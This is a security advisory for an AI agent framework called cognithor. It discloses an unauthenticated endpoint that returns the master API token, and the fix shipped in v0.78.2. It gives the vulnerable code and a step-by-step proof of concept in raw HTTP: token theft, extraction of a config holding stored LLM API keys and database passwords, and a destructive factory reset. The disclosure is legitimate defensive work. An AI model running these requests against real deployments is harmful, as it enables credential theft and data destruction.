Cognithor

CRITICAL CVSS 9.8 · GHSA-cognithor-001 · Fixed v0.78.2 ↗

Any Visitor Could Steal Every API Key Zero Authentication Required

cognithor (jarvis)
≤ v0.78.1
v0.71.0
CWE-306 · CWE-200
2026-04-08
Fixed v0.78.2

The /api/v1/bootstrap endpoint returns the application’s master bearer token to any caller with no authentication. Because the API server binds to 0.0.0.0 by default, any host that can reach the server port can retrieve the token in a single HTTP request then access every protected endpoint, exfiltrate all stored credentials, and trigger destructive operations such as factory reset.

01 Root Cause

On startup, cognithor generates (or reads from the environment) a master bearer token stored in _internal_api_token. This is the sole credential used by _verify_cc_token to authenticate every protected endpoint. The /api/v1/bootstrap route returns it unconditionally no auth dependency, no caller check:

# __main__.py:555 binds to all interfaces by default api_host = args.api_host or os.environ.get("JARVIS_API_HOST", "0.0.0.0") # __main__.py:564–566 master token set once, never rotated api_token = os.environ.get("JARVIS_API_TOKEN") or _secrets.token_urlsafe(32) _internal_api_token = api_token # __main__.py:607 exempt from rate limiting _rate_exempt = {"/api/v1/health", "/api/v1/bootstrap"} # __main__.py:674–676 returns token to any caller @api_app.get("/api/v1/bootstrap") async def _cc_bootstrap() -> dict[str, str]: return {"token": _internal_api_token}

The endpoint is also exempt from rate limiting, making repeated or automated retrieval completely unconstrained.

02 Proof of Concept Verified

Verified against cognithor 0.71.0 in an isolated Docker container (python:3.12), default configuration, installed via pip install -e '.[web]'.

Step 1 Steal the master token (zero credentials)

GET /api/v1/bootstrap HTTP/1.1 Host: 127.0.0.1:7999 HTTP/1.1 200 OK {"token":"xnywC10rb0HiM4yu40hFbEdhXs4yTj8sDYjThWIl7gY"}

Step 2 Exfiltrate full configuration (13,312 bytes, 14 API keys)

GET /api/v1/config HTTP/1.1 Host: 127.0.0.1:7999 Authorization: Bearer xnywC10rb0HiM4yu40hFbEdhXs4yTj8sDYjThWIl7gY HTTP/1.1 200 OK · content-length: 13312 { "openai_api_key": "...", "anthropic_api_key": "...", "gemini_api_key": "...", "groq_api_key": "...", "deepseek_api_key": "...", "mistral_api_key": "...", "together_api_key": "...", "openrouter_api_key": "...", "xai_api_key": "...", "github_api_key": "...", "bedrock_api_key": "...", "huggingface_api_key":"...", "elevenlabs_api_key": "...", "pg_password": "...", ... }

Step 3 Factory reset (destructive)

POST /api/v1/config/factory-reset HTTP/1.1 Host: 127.0.0.1:7999 Authorization: Bearer xnywC10rb0HiM4yu40hFbEdhXs4yTj8sDYjThWIl7gY HTTP/1.1 200 OK {"status":"ok","message":"Configuration reset to defaults"}

Control auth enforced on all other endpoints

GET /api/v1/credentials HTTP/1.1 Host: 127.0.0.1:7999 HTTP/1.1 401 Unauthorized {"detail":"Unauthorized"}
03 Endpoints Accessible With Stolen Token
EndpointMethodImpact
/api/v1/configGETAll LLM API keys and DB passwords
/api/v1/credentialsGETAll stored service credentials
/api/v1/config/factory-resetPOSTWipe entire user configuration
/api/v1/agentsGET · POST · DELETEEnumerate, create, or delete agents
/api/v1/vault/statsGETVault metadata
/api/v1/sessions/guard/violationsGETSecurity audit records
/api/v1/isolation/secretsGETIsolation layer secret stats
04 Business Impact

Any attacker with network access to the cognithor port can silently exfiltrate every LLM API key, password, and secret in a single unauthenticated HTTP request. No prior knowledge, credentials, or user interaction required. On any deployment reachable over a local network or the internet, this is a complete compromise of all integrated third-party credentials.

05 Recommended Fix

Remove /api/v1/bootstrap or gate it with dependencies=[Depends(_verify_cc_token)]. The intended use case delivering the session token to the local frontend can be satisfied by embedding the token in the served HTML at render time, or passing it as a URL fragment on CLI launch (never transmitted over the network, inaccessible cross-origin).

As an immediate defence-in-depth measure, change the default bind from 0.0.0.0 to 127.0.0.1 at __main__.py:555 so the API is unreachable on external interfaces unless explicitly configured.

Fix shipped in v0.78.2 ↗ /api/v1/bootstrap now rejects non-loopback callers with 403. Default bind changed from 0.0.0.0 to 127.0.0.1. Credited in commit message, SECURITY.md, release notes, and annotated git tag.